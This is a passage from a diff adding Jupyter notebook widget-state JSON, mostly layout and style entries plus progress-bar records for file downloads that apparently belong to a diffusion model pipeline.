+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_134ae8a21fc2489e9e7524eb856ef778",
+            "placeholder": "",
+            "style": "IPY_MODEL_7debd7332d4a4811ad653398344420f4",
+            "value": " 472/472 [00:00<00:00, 2.52kB/s]"
+          }
+        },
+        "0bec42769e7e4492aedd4afb63a91ff3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0c34c9ecc697483e831333d67a48ff32": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0ce4a494f2274147b9005aa03358b263": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0cf91d0dc45340f19f6a7a2804000145": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3eec3e2c3abe40efb74a05a67bf755a0",
+            "placeholder": "",
+            "style": "IPY_MODEL_e288ede57ad84b2bb455ba18016c68d8",
+            "value": " 577/577 [00:00<00:00, 11.8kB/s]"
+          }
+        },
+        "0d2fba8088804ecab806472f5396f1bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc42d1c7cdcd4064a1dbcc3eb1f3009b",
+            "max": 511,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_fe3c4a4e4c8b4752a1f1d88da73fb808",
+            "value": 511
+          }
+        },
+        "0e46fe7538ed4df9b8fa1f36b4b35cdd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec377a46cf8647ff891a920c46897786",
+            "max": 901,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4e264808109e4b52983260067550883e",
+            "value": 901
+          }
+        },
+        "115b71885ef241fb8884e8de28dfdb8c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "12808180b0b64ecd90839c791134b5fb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "134ae8a21fc2489e9e7524eb856ef778": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "13e357cba1ee4e31887f2c260f2cea15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5573d97394b144d6b8f4065bf81e6d05",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_245a11e3ca454d26895c46a5c08be822",
+            "value": 524619
+          }
+        },
+        "14bc95aacebc43a8877bc36c58effccf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_30f32feefcbd486c86cb68c927dd9fca",
+              "IPY_MODEL_0e46fe7538ed4df9b8fa1f36b4b35cdd",
+              "IPY_MODEL_6e0be2c85237496eb97b53963654dffa"
+            ],
+            "layout": "IPY_MODEL_9c751e805d96415d9608c2422906d76e"
+          }
+        },
+        "163075971def4198b5cc7a0d5ec3c81d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1923427b93ae424bb5d91bab418506a9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1997648c2dc946e1bdb18d2730175ea8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ac3ea0ea867b4c30bd4be87aaa602d42",
+            "placeholder": "",
+            "style": "IPY_MODEL_ff0910f0831b49ac9faaba1e70c275dc",
+            "value": "100%"
+          }
+        },
+        "1cfa604ca2924c25930887b466ac3e9b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1d6c6e3129bc4702afae1facf2b8ba6b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20396dbdc36b47538a5fd6b522478b67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "209020cdb39942178adbc7cc3acf1cb0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "21d9342ed95d4bf0959647ef57fceb97": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ad2f2fd194ac4bca909e5af122370e3d",
+            "max": 472,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_0c34c9ecc697483e831333d67a48ff32",
+            "value": 472
+          }
+        },
+        "221469404d3946f39b4c97e708385b88": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_37ceac6f039642cab04a03a8afb9f301",
+            "placeholder": "",
+            "style": "IPY_MODEL_0ce4a494f2274147b9005aa03358b263",
+            "value": " 1.72G/1.72G [00:15<00:00, 123MB/s]"
+          }
+        },
+        "22d3e015ffd24db8aa145fab92c1901c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "23cd6b916dfe4e5faa4021cf02d07f53": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "245a11e3ca454d26895c46a5c08be822": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2496cd9b6ee640f8a6d398b7a56f93b7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fc5d5de2233543eba400877e7891977a",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f9a2bf4d86ab403d9e1c7378e91bf467",
+            "value": 50
+          }
+        },
+        "260d5617f5e247f3a978a28d5fe72740": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "26aac0b253ba4e2e8f19acfa0bead5a7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "26b8bf61f8e44014a005ed10835f68b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2733152e7214400abdf0e793358181b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "28cd65b9d6f946abab83e430ab6d2017": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "29f58c06e0474f4e8f411aaaceb4d7f7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c63224632c04b159f2c9453e4ca3c15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_68b6a1a9d4c7422d9263e00cbd956be1",
+            "placeholder": "",
+            "style": "IPY_MODEL_c79ef9b35d014fdfb9f88fc09e870d01",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "2e9985de92164304b5b4c8b723d24cf1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "30f32feefcbd486c86cb68c927dd9fca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1923427b93ae424bb5d91bab418506a9",
+            "placeholder": "",
+            "style": "IPY_MODEL_c99c614b55ba44fbb2927642128fba9b",
+            "value": "Downloading (…)0d5/unet/config.json: 100%"
+          }
+        },
+        "32e55f352157421aa3e1fef5819b3587": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "341f088c9e0f4eb2ae3f4868b4dcb835": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
